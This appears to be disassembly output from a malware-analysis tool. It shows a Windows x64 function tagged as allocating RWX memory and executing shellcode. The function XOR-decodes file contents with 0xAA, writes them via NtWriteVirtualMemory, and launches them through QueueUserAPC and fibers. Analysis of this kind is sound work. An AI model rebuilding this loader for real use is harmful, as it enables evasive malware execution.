Function at 0x140001f00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x1f0
mov rax, qword [0x140033080]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
xor edi, edi
mov dword [rsp + 0x70], edi
xorps xmm0, xmm0
movups xmmword [r11 - 0x58], xmm0
mov qword [r11 - 0x58], rdi
mov qword [r11 - 0x50], rdi
mov qword [r11 - 0x48], rdi
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea r8d, [rdi + 6]
lea rdx, str.abc123
lea rcx, [rsp + 0x48]
call fcn.140004850
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x80]
call fcn.140022c40
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x80]
call fcn.140003980
mov rax, qword [rsp + 0x80]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x80], rbx
mov rax, qword [rsp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x7c], edx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x1a0], rdi
mov word [rsp + 0x1a8], 1
movaps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0x1d0], xmm0
mov rax, qword [rsp + 0x80]
movsxd rcx, dword [rax + 4]
mov rax, qword [rsp + rcx + 0xc8]
mov qword [rsp + 0x1a0], rax
test rax, rax
sete byte [rsp + 0x1a8]
mov byte [rsp + 0x1a9], dil
movaps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0x1a0], xmm0
lea r8, [rsp + 0x1d0]
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x30]
call fcn.140004250
mov dword [rsp + 0x70], 1
mov rax, qword [rsp + 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x80], rbx
mov rax, qword [rsp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rsp + 0x90]
call fcn.140003020
mov rax, qword [rsp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x80], rax
mov rax, qword [rsp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x7c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x130]
call fcn.140005cf4
nop
mov rsi, qword [rsp + 0x30]
mov qword [rsp + 0x1b0], rsi
mov r15, qword [rsp + 0x38]
mov qword [rsp + 0x1b8], r15
mov r14, qword [rsp + 0x40]
mov qword [rsp + 0x1c0], r14
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000215d
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002157
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000237e
call fcn.1400065a0
nop
sub r15, rsi
mov qword [rsp + 0x1d0], r15
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x70], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x1d0]
xor r8d, r8d
lea rdx, [rsp + 0x70]
call rbx
test eax, eax
jne 0x14000230f
mov r12, qword [rsp + 0x70]
test r12, r12
je 0x14000230f
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test r15, r15
je 0x14000224c
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rsi + rdi]
xor cl, 0xaa
mov byte [rsp + 0x190], cl
lea rbx, [rdi + r12]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, [rsp + 0x190]
mov rdx, rbx
call r13
test eax, eax
jne 0x1400022d5
inc rdi
cmp rdi, r15
jb 0x140002200
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rbx, rax
test rax, rax
je 0x140002288
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdx, rax
mov r8, r12
lea rcx, [0x140001e70]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x140002288
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov edx, 1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_SleepEx]
nop
test rsi, rsi
je 0x1400022d1
sub r14, rsi
mov rax, rsi
cmp r14, 0x1000
jb 0x1400022c6
add r14, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002384
mov rdx, r14
mov rcx, rsi
call fcn.1400065a0
xor eax, eax
jmp 0x14000234c
test rsi, rsi
je 0x140002347
sub r14, rsi
mov rax, rsi
cmp r14, 0x1000
jb 0x140002302
add r14, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002384
mov rdx, r14
mov rcx, rsi
call fcn.1400065a0
jmp 0x140002347
test rsi, rsi
je 0x140002347
sub r14, rsi
mov rax, rsi
cmp r14, 0x1000
jb 0x140002302
add r14, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002384
jmp 0x140002302
mov eax, 1
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140006580
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.14000ece0
nop
call fcn.14000ece0
int3